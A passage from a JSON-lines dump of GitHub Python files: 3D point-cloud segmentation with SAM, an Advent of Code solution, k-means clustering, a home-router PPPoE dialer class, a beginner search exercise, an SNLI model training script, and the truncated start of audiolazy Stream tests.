'intrinsic_depth.txt')\n depth_intrinsic = np.loadtxt(intrinsic_path)\n\n pose = join(rgb_path, scene_name, 'pose', color_name[0:-4] + '.txt')\n depth = join(rgb_path, scene_name, 'depth', color_name[0:-4] + '.png')\n color = join(rgb_path, scene_name, 'color', color_name)\n\n depth_img = cv2.imread(depth, -1) # read 16bit grayscale image\n mask = (depth_img != 0)\n color_image = cv2.imread(color)\n color_image = cv2.resize(color_image, (640, 480))\n\n save_2dmask_path = join(save_2dmask_path, scene_name)\n if mask_generator is not None:\n group_ids = get_sam(color_image, mask_generator)\n if not os.path.exists(save_2dmask_path):\n os.makedirs(save_2dmask_path)\n img = Image.fromarray(num_to_natural(group_ids).astype(np.int16), mode='I;16')\n img.save(join(save_2dmask_path, color_name[0:-4] + '.png'))\n else:\n group_path = join(save_2dmask_path, color_name[0:-4] + '.png')\n img = Image.open(group_path)\n group_ids = np.array(img, dtype=np.int16)\n\n color_image = np.reshape(color_image[mask], [-1,3])\n group_ids = group_ids[mask]\n colors = np.zeros_like(color_image)\n colors[:,0] = color_image[:,2]\n colors[:,1] = color_image[:,1]\n colors[:,2] = color_image[:,0]\n\n pose = np.loadtxt(pose)\n \n depth_shift = 1000.0\n x,y = np.meshgrid(np.linspace(0,depth_img.shape[1]-1,depth_img.shape[1]), np.linspace(0,depth_img.shape[0]-1,depth_img.shape[0]))\n uv_depth = np.zeros((depth_img.shape[0], depth_img.shape[1], 3))\n uv_depth[:,:,0] = x\n uv_depth[:,:,1] = y\n uv_depth[:,:,2] = depth_img/depth_shift\n uv_depth = np.reshape(uv_depth, [-1,3])\n uv_depth = uv_depth[np.where(uv_depth[:,2]!=0),:].squeeze()\n \n intrinsic_inv = np.linalg.inv(depth_intrinsic)\n fx = depth_intrinsic[0,0]\n fy = depth_intrinsic[1,1]\n cx = depth_intrinsic[0,2]\n cy = depth_intrinsic[1,2]\n bx = depth_intrinsic[0,3]\n by = depth_intrinsic[1,3]\n n = uv_depth.shape[0]\n points = np.ones((n,4))\n X = (uv_depth[:,0]-cx)*uv_depth[:,2]/fx + bx\n Y = (uv_depth[:,1]-cy)*uv_depth[:,2]/fy + by\n points[:,0] = X\n points[:,1] = Y\n points[:,2] = uv_depth[:,2]\n points_world = np.dot(points, np.transpose(pose))\n group_ids = num_to_natural(group_ids)\n save_dict = dict(coord=points_world[:,:3], color=colors, group=group_ids)\n return save_dict\n\n\ndef make_open3d_point_cloud(input_dict, voxelize, th):\n input_dict[\"group\"] = remove_small_group(input_dict[\"group\"], th)\n # input_dict = voxelize(input_dict)\n\n xyz = input_dict[\"coord\"]\n if np.isnan(xyz).any():\n return None\n pcd = o3d.geometry.PointCloud()\n pcd.points = o3d.utility.Vector3dVector(xyz)\n return pcd\n\n\ndef cal_group(input_dict, new_input_dict, match_inds, ratio=0.5):\n group_0 = input_dict[\"group\"]\n group_1 = new_input_dict[\"group\"]\n group_1[group_1 != -1] += group_0.max() + 1\n \n unique_groups, group_0_counts = np.unique(group_0, return_counts=True)\n group_0_counts = dict(zip(unique_groups, group_0_counts))\n unique_groups, group_1_counts = np.unique(group_1, return_counts=True)\n group_1_counts = dict(zip(unique_groups, group_1_counts))\n\n # Calculate the group number correspondence of overlapping points\n group_overlap = {}\n for i, j in match_inds:\n group_i = group_1[i]\n group_j = group_0[j]\n if group_i == -1:\n group_1[i] = group_0[j]\n continue\n if group_j == -1:\n continue\n if group_i not in group_overlap:\n group_overlap[group_i] = {}\n if group_j not in group_overlap[group_i]:\n group_overlap[group_i][group_j] = 0\n group_overlap[group_i][group_j] += 1\n\n # Update group information for point cloud 1\n for group_i, overlap_count in group_overlap.items():\n # for group_j, count in overlap_count.items():\n max_index = np.argmax(np.array(list(overlap_count.values())))\n group_j = list(overlap_count.keys())[max_index]\n count = list(overlap_count.values())[max_index]\n total_count = min(group_0_counts[group_j], group_1_counts[group_i]).astype(np.float32)\n # print(count / total_count)\n if count / total_count >= ratio:\n group_1[group_1 == group_i] = group_j\n return group_1\n\n\ndef cal_2_scenes(pcd_list, index, voxel_size, voxelize, th=50):\n if len(index) == 1:\n return(pcd_list[index[0]])\n # print(index, flush=True)\n input_dict_0 = pcd_list[index[0]]\n input_dict_1 = pcd_list[index[1]]\n pcd0 = make_open3d_point_cloud(input_dict_0, voxelize, th)\n pcd1 = make_open3d_point_cloud(input_dict_1, voxelize, th)\n if pcd0 == None:\n if pcd1 == None:\n return None\n else:\n return input_dict_1\n elif pcd1 == None:\n return input_dict_0\n\n # Cal Dul-overlap\n pcd0_tree = o3d.geometry.KDTreeFlann(copy.deepcopy(pcd0))\n match_inds = get_matching_indices(pcd1, pcd0_tree, 1.5 * voxel_size, 1)\n pcd1_new_group = cal_group(input_dict_0, input_dict_1, match_inds)\n # print(pcd1_new_group)\n\n pcd1_tree = o3d.geometry.KDTreeFlann(copy.deepcopy(pcd1))\n match_inds = get_matching_indices(pcd0, pcd1_tree, 1.5 * voxel_size, 1)\n input_dict_1[\"group\"] = pcd1_new_group\n pcd0_new_group = cal_group(input_dict_1, input_dict_0, match_inds)\n # print(pcd0_new_group)\n\n pcd_new_group = np.concatenate((pcd0_new_group, pcd1_new_group), axis=0)\n pcd_new_group = num_to_natural(pcd_new_group)\n pcd_new_coord = np.concatenate((input_dict_0[\"coord\"], input_dict_1[\"coord\"]), axis=0)\n pcd_new_color = np.concatenate((input_dict_0[\"color\"], input_dict_1[\"color\"]), axis=0)\n pcd_dict = dict(coord=pcd_new_coord, color=pcd_new_color, group=pcd_new_group)\n\n pcd_dict = voxelize(pcd_dict)\n return pcd_dict\n\n\ndef seg_pcd(scene_name, rgb_path, data_path, save_path, mask_generator, voxel_size, voxelize, th, train_scenes, val_scenes, save_2dmask_path):\n print(scene_name, flush=True)\n if os.path.exists(join(save_path, scene_name + \".pth\")):\n return\n color_names = sorted(os.listdir(join(rgb_path, scene_name, 'color')), key=lambda a: int(os.path.basename(a).split('.')[0]))\n pcd_list = []\n for color_name in color_names:\n print(color_name, flush=True)\n pcd_dict = get_pcd(scene_name, color_name, rgb_path, mask_generator, save_2dmask_path)\n if len(pcd_dict[\"coord\"]) == 0:\n continue\n pcd_dict = voxelize(pcd_dict)\n pcd_list.append(pcd_dict)\n \n while len(pcd_list) != 1:\n print(len(pcd_list), flush=True)\n new_pcd_list = []\n for indice in pairwise_indices(len(pcd_list)):\n # print(indice)\n pcd_frame = cal_2_scenes(pcd_list, indice, voxel_size=voxel_size, voxelize=voxelize)\n if pcd_frame is not None:\n new_pcd_list.append(pcd_frame)\n pcd_list = new_pcd_list\n seg_dict = pcd_list[0]\n seg_dict[\"group\"] = num_to_natural(remove_small_group(seg_dict[\"group\"], th))\n\n if scene_name in train_scenes:\n scene_path = join(data_path, \"train\", scene_name + \".pth\")\n elif scene_name in val_scenes:\n scene_path = join(data_path, \"val\", scene_name + \".pth\")\n data_dict = torch.load(scene_path)\n scene_coord = torch.tensor(data_dict[\"coord\"]).cuda().contiguous()\n new_offset = torch.tensor(scene_coord.shape[0]).cuda()\n gen_coord = torch.tensor(seg_dict[\"coord\"]).cuda().contiguous().float()\n offset = torch.tensor(gen_coord.shape[0]).cuda()\n gen_group = seg_dict[\"group\"]\n indices, dis = pointops.knn_query(1, gen_coord, offset, scene_coord, new_offset)\n indices = indices.cpu().numpy()\n group = gen_group[indices.reshape(-1)].astype(np.int16)\n mask_dis = dis.reshape(-1).cpu().numpy() > 0.6\n group[mask_dis] = -1\n group = group.astype(np.int16)\n torch.save(num_to_natural(group), join(save_path, scene_name + \".pth\"))\n\n\ndef get_args():\n '''Command line arguments.'''\n\n parser = argparse.ArgumentParser(\n description='Segment Anything on ScanNet.')\n parser.add_argument('--rgb_path', type=str, help='the path of rgb data')\n parser.add_argument('--data_path', type=str, default='', help='the path of pointcload data')\n parser.add_argument('--save_path', type=str, help='Where to save the pcd results')\n parser.add_argument('--save_2dmask_path', type=str, default='', help='Where to save 2D segmentation result from SAM')\n parser.add_argument('--sam_checkpoint_path', type=str, default='', help='the path of checkpoint for SAM')\n parser.add_argument('--scannetv2_train_path', type=str, default='scannet-preprocess/meta_data/scannetv2_train.txt', help='the path of scannetv2_train.txt')\n parser.add_argument('--scannetv2_val_path', type=str, default='scannet-preprocess/meta_data/scannetv2_val.txt', help='the path of scannetv2_val.txt')\n parser.add_argument('--img_size', default=[640,480])\n parser.add_argument('--voxel_size', default=0.05)\n parser.add_argument('--th', default=50, help='threshold of ignoring small groups to avoid noise pixel')\n\n args = parser.parse_args()\n return args\n\n\nif __name__ == '__main__':\n args = get_args()\n print(\"Arguments:\")\n print(args)\n with open(args.scannetv2_train_path) as train_file:\n train_scenes = train_file.read().splitlines()\n with open(args.scannetv2_val_path) as val_file:\n val_scenes = val_file.read().splitlines()\n mask_generator = SamAutomaticMaskGenerator(build_sam(checkpoint=args.sam_checkpoint_path).to(device=\"cuda\"))\n voxelize = Voxelize(voxel_size=args.voxel_size, mode=\"train\", keys=(\"coord\", \"color\", \"group\"))\n if not os.path.exists(args.save_path):\n os.makedirs(args.save_path)\n scene_names = sorted(os.listdir(args.rgb_path))\n for scene_name in scene_names:\n seg_pcd(scene_name, args.rgb_path, args.data_path, args.save_path, mask_generator, args.voxel_size, \n voxelize, args.th, train_scenes, val_scenes, args.save_2dmask_path)\n","repo_name":"Pointcept/SegmentAnything3D","sub_path":"sam3d.py","file_name":"sam3d.py","file_ext":"py","file_size_in_byte":11538,"program_lang":"python","lang":"en","doc_type":"code","stars":699,"dataset":"github-code","pt":"69"} +{"seq_id":"19905767761","text":"import contextlib\nimport collections\nimport functools\nimport itertools\nimport numpy as np\nimport pandas as pd\nimport re\n\nimport advent_tools\n\n\ndef run_part_1():\n data = advent_tools.read_whole_input()\n result = ''\n in_parentheses = False\n in_repeat_section = False\n to_repeat = ''\n repeat_inst = ''\n len_repeat = 0\n times_repeat = 0\n for char in data:\n if in_parentheses:\n if char == ')':\n len_repeat, times_repeat = (int(num) for num\n in repeat_inst.split('x'))\n in_parentheses = False\n in_repeat_section = True\n to_repeat = ''\n else:\n repeat_inst = repeat_inst + char\n elif in_repeat_section:\n to_repeat = to_repeat + char\n if len(to_repeat) == len_repeat:\n result = result + to_repeat * times_repeat\n in_repeat_section = False\n elif char == '(':\n in_parentheses = True\n repeat_inst = ''\n else:\n result = result + char\n print(len(result))\n\ndef get_uncomp_length(compressed):\n if compressed.startswith('('):\n instruction, after_inst = compressed.split(')', maxsplit=1)\n len_repeat, times_repeat = (int(num) for num\n in instruction[1:].split('x'))\n to_repeat = after_inst[:len_repeat]\n rest = after_inst[len_repeat:]\n return (times_repeat * get_uncomp_length(to_repeat)\n + get_uncomp_length(rest))\n elif '(' in compressed:\n before_paren, after_paren = compressed.split('(', maxsplit=1)\n return (get_uncomp_length(before_paren)\n + get_uncomp_length('(' + after_paren))\n else:\n return len(compressed)\n\ndef run_part_2():\n print(get_uncomp_length(advent_tools.read_whole_input()))\n\n\nif __name__ == '__main__':\n run_part_1()\n run_part_2()","repo_name":"moink/AoC2016","sub_path":"day9/day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30936166555","text":"import numpy as np\nimport cluster_init\nimport cluster_plot\n\n\n# dataset and centers here is transfers to numpy array\ndef data_class(dataset, centers):\n dataset = np.array(dataset)\n centers = np.array(centers)\n center_distance = [[np.linalg.norm(data - elem) for elem in centers] for data in dataset]\n distance_value = [min(elem) for elem in center_distance]\n idx_list = [elem.index(min(elem)) for elem in center_distance]\n return distance_value, idx_list\n\n# get the initial centers using greedy method\ndef centers_init(dataset, k):\n data = []\n centers = []\n idx = np.random.random_integers(1,500)\n centers.append(dataset[idx]) #choose first point\n while len(centers)<k:\n distance_value, idx_list = data_class(dataset, centers)\n next_idx = distance_value.index(max(distance_value))\n centers.append(dataset[next_idx])\n return centers\n\n# kmeans implementation\ndef kmeans(dataset, k, centroids):\n distance_value, idx_list = data_class(dataset, centroids)\n class_datalist = [[] for i in centroids]\n for i in range(len(idx_list)): #this loop is to build the cluster to related centroids\n class_datalist[idx_list[i]].append(dataset[i])\n for i in range(len(class_datalist)): #this loop is getting every mean of the cluster and get the new centrod\n x = [element[0] for element in class_datalist[i]]\n y = [element[1] for element in class_datalist[i]]\n x_mean = sum(x)/len(x)\n y_mean = sum(y)/len(y)\n centroids[i] = [x_mean,y_mean]\n return centroids\n\n\n#test\niteration = 20\nk = 4\nmeanlist = [[0,5],[3,0],[5,-5],[8,-2]]\ncovlist = [ [[5,1],[1,5]], [[5,3],[3,5]], [[4,-2],[-2,4]], [[2,0],[0,1]] ]\nsizelist = [400,400,500,650]\n\ndata = cluster_init.datagenerate(meanlist, covlist, sizelist)\ncluster_plot.initial_plot(data)\ncenters = cluster_init.centers_init(data, k)\ninit_centroids = centers[:]\n\n\nfor i in range(iteration):\n centers = kmeans(data, k, centers)\n cluster_plot.kmeans_plot(data, centers, init_centroids)\n\n\n","repo_name":"phyorch/Machine-Learning-lab","sub_path":"kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"10460158182","text":"#!/usr/bin/env python2\r\n#encoding=utf-8\r\nimport urllib2,copy\r\nfrom abc import ABCMeta,abstractmethod\r\n\r\nclass Router(object):\r\n '''\r\n 路由的抽象类,实现他的Dail函数\r\n'''\r\n __metaclass__ = ABCMeta\r\n def __init__(self):\r\n self._acc='admin'\r\n self._pwd='admin'\r\n self._ip='192.168.1.1'\r\n self._url='/'\r\n self._pppoe_acc=''\r\n self._pppoe_pwd=''\r\n def setLogin(self,ip,acc,pwd):\r\n self._acc=acc\r\n self._pwd=pwd\r\n self._ip=ip\r\n return self\r\n def setAcc(self,user,pwd):\r\n self._pppoe_acc=user\r\n self._pppoe_pwd=pwd\r\n return self\r\n def get(self,url,headers={}):\r\n reqheader=copy.deepcopy(headers)\r\n reqheader.update(self._genAuthHeader())\r\n req=urllib2.Request(url='http://'+self._ip+url,headers=reqheader)\r\n res=urllib2.urlopen(req,timeout=200)\r\n r=res.read()\r\n res.close()\r\n return r\r\n def _genAuth(self):\r\n auth='%s:%s'%(self._acc,self._pwd)\r\n return 'Basic '+auth.encode(\"base64\")[0:-1]\r\n def _genAuthHeader(self):\r\n baseauth=self._genAuth()\r\n return {'Authorization':baseauth}\r\n def _getCookie(self):\r\n try:\r\n header=self._genAuthHeader()\r\n req=urllib2.Request('http://'+self._ip,headers=header)\r\n res=urllib2.urlopen(req,timeout=200)\r\n c=res.info().getheader('Set-Cookie')\r\n res.close()\r\n return c\r\n except:\r\n return ''\r\n def setUrl(self,u):\r\n self._url=u\r\n return self\r\n @abstractmethod\r\n def Dail(self,data=None):\r\n pass\r\n","repo_name":"nowind/sx_pi","sub_path":"router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"69"} +{"seq_id":"27198252899","text":"### ccc of search 1\n\n''' q1 (7.5 marks)\nGiven an array of integers nums which is sorted in ascending order, and an\ninteger target, write a function to search target in nums. If target exists,\nthen return its index. Otherwise, return -1.\nYou must write an algorithm with O(log n) runtime complexity.\nExample 1:\nInput: nums = [-1,0,3,5,9,12], target = 9\nOutput: 4\nExplanation: 9 exists in nums and its index is 4\nExample 2:\nInput: nums = [-1,0,3,5,9,12], target = 2\nOutput: -1\nExplanation: 2 does not exist in nums so return -1'''\n\nnum = [-1,0,3,5,9,12]\ntarget = int(input(\"here= \"))\n\n\n\ndef array(num,target):\n l = 0\n h = len(num)-1\n\n while l <= h :\n mid = (l+h) // 2\n if num[mid] < target :\n l = mid+1\n \n elif num[mid] > target :\n h = mid - 1\n \n else :\n return mid\n return -1 \n\nans = array(num,target)\nprint(ans)\n\n\n\n\n\n###### q3. sum of rows n columns \ndef sumrows(fuc): \n n = len(fuc)\n m = len(fuc[0])\n print(f\" {n} x {m} dimension\")\n \n \n l = [ ]\n for i in range(n):\n sum = 0\n for j in range(m):\n \n if i == 0 :\n sum = sum + fuc[i][j]\n \n \n elif i == 1 :\n sum = sum + fuc[i][j]\n \n\n elif i == 2 :\n sum = sum + fuc[i][j]\n \n\n elif i == n-1 :\n sum = sum + fuc[i][j]\n \n l.append(sum) \n \n print(l)\n\n\nfuc = [\n [1,2,3,4],\n [5,6,7,8],\n [9,10,11,12],\n [13,14,15,16]\n ] \n\nsumrows(fuc)\n \n\n####### his way \nm = len(fuc)\nn = len(fuc[0])\nlistrowsum = []\nfor i in range(m):\n sumrow = 0\n for j in range(n):\n sumrow = sumrow + fuc[i][j]\n listrowsum.append(sumrow)\nprint(listrowsum)\n\n\n#print sum of columns as list(sum of each column as an element)\nm = len(fuc)\nn = len(fuc[0])\nlistcolsum = []\nfor i in range(m):\n sumcol = 0\n for j in range(n):\n sumcol = sumcol + fuc[j][i]\n listcolsum.append(sumcol)\nprint(listcolsum)\n \n","repo_name":"Aayanshi/Curls-coding","sub_path":"DSA_CC.py/w5d2searching.py","file_name":"w5d2searching.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3313430739","text":"# hard\n\n'''\nA path in a binary tree is a sequence of nodes where each pair of adjacent nodes in the sequence has an edge connecting them. A node can only appear in the sequence at most once. Note that the path does not need to pass through the root.\n\nThe path sum of a path is the sum of the node's values in the path.\n\nGiven the root of a binary tree, return the maximum path sum of any non-empty path.\n'''\n\n# https://leetcode.com/problems/binary-tree-maximum-path-sum/description/\n\n# Good Explanation\n# https://leetcode.com/problems/binary-tree-maximum-path-sum/solutions/603423/python-recursion-stack-thinking-process-diagram/?orderBy=most_votes\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\n# Recursive\nclass Solution:\n def maxPathSum(self, root: Optional[TreeNode]) -> int:\n\n self.maxi = -inf\n\n def helper(root):\n if not root:\n return 0\n \n left_max = max(helper(root.left), 0)\n right_max = max(helper(root.right), 0)\n\n curr_max = root.val + left_max + right_max\n self.maxi = max(self.maxi, curr_max)\n\n return root.val + max(left_max, right_max)\n \n helper(root)\n return self.maxi\n\n# Time complexity = O(n)\n# Space complexity = O(n)","repo_name":"OG-Matcha/LeetCode-Practice","sub_path":"Hard/124. Binary Tree Maximum Path Sum.py","file_name":"124. Binary Tree Maximum Path Sum.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41782327261","text":"import os\nimport time\nimport glob\n\nimport torch\nfrom torch import optim\nfrom torch import nn\n\nfrom torchtext import data\nfrom torchtext import datasets\n\nfrom model import SNLIClassifier\nfrom util import get_args\n\n\nargs = get_args()\nif args.gpu != -1:\n torch.cuda.set_device(args.gpu)\n\nif args.spinn:\n inputs = datasets.snli.ParsedTextField(lower=args.lower)\n transitions = datasets.snli.ShiftReduceField()\nelse:\n inputs = data.Field(lower=args.lower)\n transitions = None\nanswers = data.Field(sequential=False)\n\ntrain, dev, test = datasets.SNLI.splits(inputs, answers, transitions)\n\ninputs.build_vocab(train, dev, test)\nif args.word_vectors:\n if os.path.isfile(args.vector_cache):\n inputs.vocab.vectors = torch.load(args.vector_cache)\n else:\n inputs.vocab.load_vectors(wv_dir=args.data_cache, wv_type=args.word_vectors, wv_dim=args.d_embed)\n os.makedirs(os.path.dirname(args.vector_cache), exist_ok=True)\n torch.save(inputs.vocab.vectors, args.vector_cache)\nanswers.build_vocab(train)\n\ntrain_iter, dev_iter, test_iter = data.BucketIterator.splits(\n (train, dev, test), batch_size=args.batch_size, device=args.gpu)\n\nconfig = args\nconfig.n_embed = len(inputs.vocab)\nconfig.d_out = len(answers.vocab)\nconfig.n_cells = config.n_layers\nif config.birnn:\n config.n_cells *= 2\n\nif config.spinn:\n config.lr = 2e-3 # 3e-4\n config.lr_decay_by = 0.75\n config.lr_decay_every = 1 #0.6\n config.regularization = 0 #3e-6\n config.mlp_dropout = 0.07\n config.embed_dropout = 0.08 # 0.17\n config.n_mlp_layers = 2\n config.d_tracker = 64\n config.d_mlp = 1024\n config.d_hidden = 300\n config.d_embed = 300\n config.d_proj = 600\n torch.backends.cudnn.enabled = False\nelse:\n config.regularization = 0\n\nmodel = SNLIClassifier(config)\nif config.spinn:\n model.out[len(model.out._modules) - 1].weight.data.uniform_(-0.005, 0.005)\nif args.word_vectors:\n model.embed.weight.data = inputs.vocab.vectors\nif args.gpu != -1:\n model.cuda()\nif args.resume_snapshot:\n model.load_state_dict(torch.load(args.resume_snapshot))\n\ncriterion = nn.CrossEntropyLoss()\n#opt = optim.Adam(model.parameters(), lr=args.lr)\nopt = optim.RMSprop(model.parameters(), lr=config.lr, alpha=0.9, eps=1e-6,\n weight_decay=config.regularization)\n\niterations = 0\nstart = time.time()\nbest_dev_acc = -1\ntrain_iter.repeat = False\nheader = ' Time Epoch Iteration Progress (%Epoch) Loss Dev/Loss Accuracy Dev/Accuracy'\ndev_log_template = ' '.join('{:>6.0f},{:>5.0f},{:>9.0f},{:>5.0f}/{:<5.0f} {:>7.0f}%,{:>8.6f},{:8.6f},{:12.4f},{:12.4f}'.split(','))\nlog_template = ' '.join('{:>6.0f},{:>5.0f},{:>9.0f},{:>5.0f}/{:<5.0f} {:>7.0f}%,{:>8.6f},{},{:12.4f},{}'.split(','))\nos.makedirs(args.save_path, exist_ok=True)\nprint(header)\n\nfor epoch in range(args.epochs):\n train_iter.init_epoch()\n n_correct = n_total = train_loss = 0\n for batch_idx, batch in enumerate(train_iter):\n model.train(); opt.zero_grad()\n for pg in opt.param_groups:\n pg['lr'] = args.lr * (args.lr_decay_by ** (\n iterations / len(train_iter) / args.lr_decay_every))\n iterations += 1 \n answer = model(batch)\n # print(nn.functional.softmax(answer[0]).data.tolist(), batch.label.data[0])\n n_correct += (torch.max(answer, 1)[1].view(batch.label.size()).data == batch.label.data).sum()\n n_total += batch.batch_size\n train_acc = 100. * n_correct/n_total\n loss = criterion(answer, batch.label)\n loss.backward()\n opt.step()\n train_loss += loss.data[0] * batch.batch_size\n if iterations % args.save_every == 0:\n snapshot_prefix = os.path.join(args.save_path, 'snapshot')\n snapshot_path = snapshot_prefix + '_acc_{:.4f}_loss_{:.6f}_iter_{}_model.pt'.format(train_acc, train_loss / n_total, iterations)\n torch.save(model.state_dict(), snapshot_path)\n for f in glob.glob(snapshot_prefix + '*'):\n if f != snapshot_path:\n os.remove(f)\n if iterations % args.dev_every == 0:\n model.eval(); dev_iter.init_epoch()\n n_dev_correct = dev_loss = 0\n for dev_batch_idx, dev_batch in enumerate(dev_iter):\n answer = model(dev_batch)\n n_dev_correct += (torch.max(answer, 1)[1].view(dev_batch.label.size()).data == dev_batch.label.data).sum()\n dev_loss += criterion(answer, dev_batch.label).data[0] * dev_batch.batch_size\n dev_acc = 100. * n_dev_correct / len(dev)\n print(dev_log_template.format(time.time()-start,\n epoch, iterations, 1+batch_idx, len(train_iter),\n 100. * (1+batch_idx) / len(train_iter), train_loss / n_total, dev_loss / len(dev), train_acc, dev_acc))\n n_correct = n_total = train_loss = 0\n if dev_acc > best_dev_acc:\n best_dev_acc = dev_acc\n snapshot_prefix = os.path.join(args.save_path, 'best_snapshot')\n snapshot_path = snapshot_prefix + '_devacc_{}_devloss_{}__iter_{}_model.pt'.format(dev_acc, dev_loss / len(dev), iterations)\n torch.save(model.state_dict(), snapshot_path)\n for f in glob.glob(snapshot_prefix + '*'):\n if f != snapshot_path:\n os.remove(f)\n elif iterations % args.log_every == 0:\n print(log_template.format(time.time()-start,\n epoch, iterations, 1+batch_idx, len(train_iter),\n 100. * (1+batch_idx) / len(train_iter), train_loss / n_total, ' '*8, n_correct / n_total*100, ' '*12))\n n_correct = n_total = train_loss = 0\n\n","repo_name":"hhsecond/PyTorchDemystified","sub_path":"snli/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5705,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"69"} +{"seq_id":"20800230350","text":"import pytest\np = pytest.mark.parametrize\n\nimport itertools as it\nimport operator, warnings, sys, gc\nfrom collections import deque\n\n# Audiolazy internal imports\nfrom ..lazy_stream import Stream, thub, MemoryLeakWarning, StreamTeeHub\nfrom ..lazy_misc import almost_eq\nfrom ..lazy_compat import (orange, xrange, xzip, xmap, xfilter, NEXT_NAME,\n PYTHON2)\nfrom ..lazy_math import inf, nan, pi\n\nfrom . import skipper\noperator.div = getattr(operator, \"div\", skipper(\"There's no operator.div\"))\n\n\nclass TestStream(object):\n\n def test_no_args(self):\n with pytest.raises(TypeError):\n Stream()\n\n @p(\"is_iter\", [True, False])\n @p(\"list_\", [orange(5), [], [None, Stream, almost_eq, 2.4], [1, \"a\", 4]])\n def test_from_list(self, list_, is_iter):\n assert list(Stream(iter(list_) if is_iter else list_)) == list_\n\n @p(\"tuple_input\",[(\"strange\", \"tuple with list as fill value\".split()),\n (1,), tuple(), (\"abc\", [12,15], 8j)]\n )\n def test_from_tuple(self, tuple_input):\n assert tuple(Stream(tuple_input)) == tuple_input\n\n @p(\"value\", [0, 1, 17, 200])\n def test_lazy_range(self, value):\n assert list(Stream(xrange(value))) == orange(value)\n\n def test_class_docstring(self):\n x = Stream(it.count())\n y = Stream(3)\n z = 2*x + y\n assert z.take(8) == [3, 5, 7, 9, 11, 13, 15, 17]\n\n def test_mixed_inputs(self):\n with pytest.raises(TypeError):\n Stream([1, 2, 3], 5)\n\n @p(\"d2_type\", [list, tuple, Stream])\n @p(\"d1_iter\", [True, False])\n @p(\"d2_iter\", [True, False])\n def test_multiple_inputs_iterable_iterator(self, d2_type, d1_iter, d2_iter):\n data1 = [1, \"a\", 4]\n data2 = d2_type([7.5, \"abc\", \"abd\", 9, it.chain])\n d2copy = data2.copy() if isinstance(data2, Stream) else data2\n data = [iter(data1) if d1_iter else data1]\n data += [iter(data2) if d2_iter else data2]\n stream_based = Stream(*data)\n it_based = it.chain(data1, d2copy)\n assert list(stream_based) == list(it_based) # No math/casting with float\n\n def test_non_iterable_input(self):\n data = 25\n for idx, x in xzip(xrange(15), Stream(data)): # Enumerate wouldn't finish\n assert x == data\n\n def test_multiple_non_iterable_input(self):\n data = [2j+3, 7.5, 75, type(2), Stream]\n for si, di in xzip(Stream(*data), data * 4):\n assert si == di\n\n def test_init_docstring_finite(self):\n x = Stream([1, 2, 3]) + Stream([8, 5])\n assert list(x) == [9, 7]\n\n def test_init_docstring_endless(self):\n x = Stream(1,2,3) + Stream(8,5)\n assert x.take(6) == [9, 7, 11, 6, 10, 8]\n assert x.take(6) == [9, 7, 11, 6, 10, 8]\n assert x.take(3) == [9, 7, 11]\n assert x.take(5) == [6, 10, 8, 9, 7]\n assert x.take(15) == [11, 6, 10, 8, 9, 7, 11, 6, 10, 8, 9, 7, 11, 6, 10]\n\n def test_copy(self):\n a = Stream([1,2,3])\n b = Stream([8,5])\n c = a.copy()\n d = b.copy()\n assert type(a) == type(c)\n assert type(b) == type(d)\n assert id(a) != id(c)\n assert id(b) != id(d)\n assert iter(a) != iter(c)\n assert iter(b) != iter(d)\n assert list(a) == [1,2,3]\n assert list(c) == [1,2,3]\n assert b.take() == 8\n assert d.take() == 8\n assert b.take() == 5\n assert d.take() == 5\n with pytest.raises(StopIteration):\n b.take()\n with pytest.raises(StopIteration):\n d.take()\n\n @p((\"stream_size\", \"hop\", \"block_size\"), [(48, 11, 15),\n (12, 13, 13),\n (42, 5, 22),\n (72, 14, 3),\n (7, 7, 7),\n (12, 8, 8),\n (12, 1, 5)]\n )\n def test_blocks(self, stream_size, hop, block_size):\n data = Stream(xrange(stream_size))\n data_copy = data.copy()\n myblocks = data.blocks(size=block_size,\n hop=hop) # Shouldn't use \"data\" anymore\n myblocks_rev = Stream(reversed(list(data_copy))).blocks(size=block_size,\n hop=hop)\n for idx, (x, y) in enumerate(xzip(myblocks, myblocks_rev)):\n assert len(x) == block_size\n assert len(y) == block_size\n startx = idx * hop\n stopx = startx + block_size\n desiredx = [(k if k < stream_size else 0.)\\\n for k in xrange(startx,stopx)]\n assert list(x) == desiredx\n starty = stream_size - 1 - startx\n stopy = stream_size - 1 - stopx\n desiredy = [max(k,0.) for k in xrange(starty, stopy, -1)]\n assert list(y) == desiredy\n\n def test_unary_operators_and_binary_pow_xor(self):\n a = +Stream([1, 2, 3])\n b = -Stream([8, 5, 2, 17])\n c = Stream(True) ^ Stream([True, False, None]) # xor\n d = b ** a\n assert d.take(3) == [-8,25,-8]\n with pytest.raises(StopIteration):\n d.take()\n assert c.take(2) == [False, True]\n # TypeError: unsupported operand type(s) for ^: 'bool' and 'NoneType'\n with pytest.raises(TypeError):\n c.take()\n\n def test_getattr_with_methods_and_equalness_operator(self):\n data = \"trying again with strings...a bizarre iterable\"\n a = Stream(data)\n b = a.copy()\n c = Stream(\"trying again \", xrange(5), \"string\", \".\"*4)\n d = [True for _ in \"trying again \"] + \\\n [False for _ in xrange(5)] + \\\n [True for _ in \"string\"] + \\\n [False, True, True, True]\n assert list(a == c) == d\n assert \"\".join(list(b.upper())) == data.upper()\n\n def test_getattr_with_non_callable_attributes(self):\n #[(-2+1j), (40+24j), (3+1j), (-3+5j), (8+16j), (8-2j)]\n data = Stream(1 + 2j, 5 + 3j) * Stream(1j, 8, 1 - 1j)\n real = Stream(-2, 40, 3, -3, 8, 8)\n imag = Stream(1, 24, 1, 5, 16, -2)\n assert data.copy().real.take(6) == real.copy().take(6)\n assert data.copy().imag.take(6) == 